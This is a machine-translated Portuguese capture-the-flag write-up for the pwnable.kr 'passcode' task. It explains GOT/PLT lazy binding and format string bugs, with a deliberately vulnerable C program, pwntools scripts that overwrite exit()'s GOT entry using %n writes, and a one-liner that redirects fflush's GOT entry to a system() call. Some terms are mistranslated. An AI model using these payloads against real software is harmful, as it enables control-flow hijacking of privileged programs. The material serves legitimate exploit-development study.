Solução de um trabalho com pwnable.kr 05 - código de acesso. Reescreva a tabela de links de procedimentos através da vulnerabilidade de cadeia de formato

imagem

Neste artigo, analisaremos: qual é a tabela global de compensações, a tabela de relações de procedimentos e sua reescrita através da vulnerabilidade da string de formato. Também resolveremos a 5ª tarefa no site pwnable.kr .

Informações Organizacionais
Especialmente para aqueles que desejam aprender algo novo e se desenvolver em qualquer uma das áreas de segurança da informação e da informática, escreverei e falarei sobre as seguintes categorias:

  • PWN;
  • criptografia (criptografia);
  • tecnologias de rede (rede);
  • reverso (engenharia reversa);
  • esteganografia (estegano);
  • pesquisa e exploração de vulnerabilidades na WEB.

Além disso, compartilharei minha experiência em análise forense de computadores, análise de malware e firmware, ataques a redes sem fio e redes locais, realização de protestos e explorações por escrito.

Para que você possa descobrir sobre novos artigos, software e outras informações, criei um canal no Telegram e um grupo para discutir quaisquer questões no campo da CID. Além disso, considerarei pessoalmente seus pedidos, perguntas, sugestões e recomendações pessoais e responderei a todos .

Todas as informações são fornecidas apenas para fins educacionais. O autor deste documento não se responsabiliza por nenhum dano causado a alguém como resultado do uso dos conhecimentos e métodos obtidos como resultado do estudo deste documento.

Tabela de deslocamento global e tabela de relacionamento com procedimentos


Bibliotecas vinculadas dinamicamente são carregadas de um arquivo separado na memória no momento da inicialização ou no tempo de execução. E, portanto, seus endereços na memória não são fixos para evitar conflitos de memória com outras bibliotecas. Além disso, o mecanismo de segurança ASLR aleatoriamente o endereço de cada módulo no momento da inicialização.

Global Offset Table (GOT) - Uma tabela de endereços armazenados na seção de dados. É usado no tempo de execução para procurar endereços de variáveis ​​globais que eram desconhecidas no tempo de compilação. Esta tabela está na seção de dados e não é usada por todos os processos. Todos os endereços absolutos mencionados pela seção de código são armazenados nesta tabela GOT. A seção de código usa deslocamentos relativos para acessar esses endereços absolutos. E assim, o código da biblioteca pode ser compartilhado por processos, mesmo se eles forem carregados em diferentes espaços de endereço de memória.

A Tabela de Ligação de Procedimento (PLT) contém o código de salto para chamar funções comuns cujos endereços são armazenados no GOT, ou seja, o PLT contém os endereços nos quais os endereços de dados (endereços) do GOT são armazenados.

Considere o mecanismo usando um exemplo:

  1. No código do programa, a função externa printf é chamada.
  2. O fluxo de controle vai para o enésimo registro no PLT e a transição ocorre em um deslocamento relativo, em vez de um endereço absoluto.
  3. Vai para o endereço armazenado no GOT. O ponteiro de função armazenado na tabela GOT primeiro aponta de volta para o snippet de código PLT.
  4. Portanto, se printf estiver sendo chamado pela primeira vez, o conversor de vinculador dinâmico será chamado para obter o endereço real da função de destino.
  5. O endereço printf é gravado na tabela GOT e, em seguida, printf é chamado.
  6. Se printf for chamado novamente no código, o resolvedor não será mais chamado porque o endereço de printf já está armazenado no GOT.

imagem

Ao usar essa ligação atrasada, não são permitidos ponteiros para funções que não são usadas no tempo de execução. Assim, economiza muito tempo.

Para que esse mecanismo funcione, as seguintes seções estão presentes no arquivo:

  • .got - contém entradas para GOT;
  • .lt - contém entradas para PLT;
  • .got.plt - contém os relacionamentos de endereço GOT - PLT;
  • .plt.got - contém os relacionamentos de endereço PLT - GOT.

Como a seção .got.plt é uma matriz de ponteiros e é preenchida durante a execução do programa (ou seja, a gravação é permitida), podemos sobrescrever um deles e controlar o fluxo de execução do programa.

Formatar sequência


Uma string de formato é uma string usando especificadores de formato. O especificador de formato é indicado pelo símbolo "%" (para inserir o sinal de porcentagem, use a sequência "%%").

pritntf(“output %s 123”, “str”); output str 123 

Os especificadores de formato mais importantes:

  • d - número decimal assinado, tamanho padrão, sizeof (int);
  • x e X são um número hexadecimal sem sinal, x usa letras minúsculas (abcdef), X maiúsculas (ABCDEF), o tamanho padrão é sizeof (int);
  • s - saída de linha com byte final zero;
  • n é o número de caracteres escritos no momento em que a sequência de comandos que contém n apareceu.

Por que a vulnerabilidade de string de formato é possível


Essa vulnerabilidade consiste em usar uma das funções de saída de formato sem especificar um formato (como no exemplo a seguir). Assim, nós mesmos podemos especificar o formato de saída, o que leva à capacidade de ler valores da pilha e, ao especificar um formato especial, gravar na memória.

Considere a vulnerabilidade no seguinte exemplo:

 #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> int main(){ char input[100]; printf("Start program!!!\n"); printf("Input: "); scanf("%s", &input); printf("\nYour input: "); printf(input); printf("\n"); exit(0); } 

Portanto, a próxima linha não especifica o formato de saída.

 printf(input); 

Compile o programa.

 gcc vuln1.c -o vuln -no-pie 

Vamos examinar os valores na pilha digitando uma linha contendo especificadores de formato.

imagem

Assim, ao chamar printf (entrada), a seguinte chamada é acionada:

 printf(“%p-%p-%p-%p-%p“); 

Resta entender o que o programa exibe. A função printf possui vários argumentos, que são dados para uma sequência de formato.

Considere um exemplo de uma chamada de função com os seguintes argumentos:

 printf(“Number - %d, addres - %08x, string - %s”, a, &b, c); 

Quando essa função é chamada, a pilha terá a seguinte aparência.

imagem

Assim, quando um especificador de formato é detectado, a função recupera o valor da pilha. Da mesma forma, uma função do nosso exemplo recuperará 5 valores da pilha.

imagem

Para confirmar o exposto, encontramos nossa string de formato na pilha.

imagem

Ao converter valores de uma visualização hexadecimal, obtemos a sequência "% -p% AAAA". Ou seja, conseguimos obter os valores da pilha.

Substituir OBTIDO


Vamos verificar a capacidade de reescrever o GOT através da vulnerabilidade de cadeia de formato. Para fazer isso, vamos fazer um loop em nosso programa reescrevendo o endereço da função exit () no endereço principal. Vamos sobrescrever usando pwntools. Crie o layout inicial e repita a entrada anterior.

 from pwn import * from struct import * ex = process('./vuln') payload = "AAAA%p-%p-%p-%p-%p-%p-%p-%p" ex.sendline(payload) ex.interactive() 

imagem

Mas, dependendo do tamanho da string inserida, o conteúdo da pilha será diferente, garantiremos que a carga de entrada sempre contenha o mesmo número de caracteres inseridos.

 payload = ("%p-%p-%p-%p"*5).ljust(64, ”*”) 

imagem

 payload = ("%p-%p-%p-%p").ljust(64, ”*”) 

imagem

Agora precisamos descobrir o endereço GOT das funções exit () e o endereço da função principal. O endereço principal será encontrado usando o gdb.

imagem

O endereço GOT de exit () pode ser encontrado usando gdb e objdump.

imagem

imagem

 objdump -R vuln 

imagem

Escreveremos esses endereços em nosso programa.

 main_addr = 0x401162 exit_addr = 0x404038 

Agora você precisa reescrever o endereço. Para adicionar à pilha o endereço da função exit () e os endereços que estão depois, ou seja, * (exit ()) + 1, etc. Você pode adicioná-lo usando nossa carga.

 payload = ("%p-%p-%p-%p-"*5).ljust(64, "*") payload += pack("Q", exit_addr) payload += pack("Q", exit_addr+1) 

Execute e determine qual conta exibe o endereço.

imagem

Esses endereços são exibidos nas posições 14 e 15. Você pode exibir o valor em uma posição específica da seguinte maneira.

 payload = ("%14$p").ljust(64, "*") 

imagem

Reescreveremos o endereço em dois blocos. Para começar, imprimiremos 4 valores para que nossos endereços estejam nas 2ª e 4ª posições.

 payload = ("%p%14$p%p%15$p").ljust(64, "*") 

imagem

Agora, dividimos o endereço de main () em dois blocos:
0x401162

1) 0x62 = 98 (gravação em 0x404038)
2) 0x4011 - 0x62 = 16303 (escreva no endereço 0x404039)


Nós os escrevemos da seguinte maneira:

 payload = ("%98p%14$n%16303p%15$n").ljust(64, '*') 

Código completo:

 from pwn import * from struct import * start_addr = 0x401162 exit_addr = 0x404038 ex = process('./vuln') payload = ("%98p%14$n%16303p%15$n").ljust(64, '*') payload += pack("Q", exit_addr) payload += pack("Q", exit_addr+1) ex.sendline(payload) ex.interactive() 

imagem

Assim, o programa é reiniciado em vez de terminar. Reescrevemos o endereço de saída ().

Solução de trabalho com código de acesso


Clicamos no primeiro ícone com a assinatura da senha e somos informados de que precisamos nos conectar via SSH com a senha de convidado.

imagem

Quando conectado, vemos o banner correspondente.

imagem

Vamos descobrir quais arquivos estão no servidor e quais direitos temos.

 ls -l 

imagem

Assim, podemos ler o código fonte do programa, pois existe o direito de ler para todos, e executar o programa de senha com os direitos do proprietário (um bit fixo é definido). Vamos ver o resultado do código.

imagem

Ocorreu um erro na função login (). Em scanf (), o segundo argumento é passado não o endereço da variável & passcode1, mas a variável em si, e não inicializada. Como a variável ainda não foi inicializada, ela contém o “lixo” não escrito que permaneceu após a execução das instruções anteriores. Ou seja, scanf () gravará o número no endereço, que serão os dados residuais.

imagem

Portanto, se antes de chamar a função de login, podemos controlar essa área de memória, podemos escrever qualquer número em qualquer endereço (na verdade, altere a lógica do programa).

Como a função login () é chamada imediatamente após a função welcome (), eles têm os mesmos endereços de quadro de pilha.

imagem

Vamos verificar se podemos gravar dados no futuro local da senha1. Abra o programa no gdb e desmonte as funções de login () e welcome (). Como o scanf possui dois parâmetros nos dois casos, o endereço da variável será passado para a função primeiro. Assim, o endereço da senha1 é ebp-0x10 e o nome é ebp-0x70.

imagem

imagem

Agora, vamos calcular o endereço passcode1 em relação ao nome, desde que o valor ebp seja o mesmo:
(& name) - (& passcode1) = (ebp-0x70) - (ebp-0x10) = -96
& passcode1 == & name + 96
Ou seja, os últimos 4 bytes de nome - este é o “lixo” que atuará como o endereço para gravar na função de login.

No artigo, vimos como você pode alterar a lógica do aplicativo reescrevendo os endereços no GOT. Vamos fazer aqui também. Como scanf () é seguido por flush, no endereço desta função no GOT, escrevemos o endereço da instrução para chamar a função system () para ler o sinalizador.

imagem

imagem

imagem

Ou seja, no endereço 0x804a004, você precisa escrever 0x80485e3 na forma decimal.

 python -c "print('A'*96 + '\x04\xa0\x04\x08' + str(0x080485e3))" | ./passcode 

imagem

Como resultado, obtemos 10 pontos, até agora esta é a tarefa mais difícil.

imagem

Os arquivos deste artigo estão anexados ao canal Telegram . Vejo você nos seguintes artigos!

Estamos em um canal de telegrama: um canal no telegrama .

Source: https://habr.com/ru/post/pt460647/


All Articles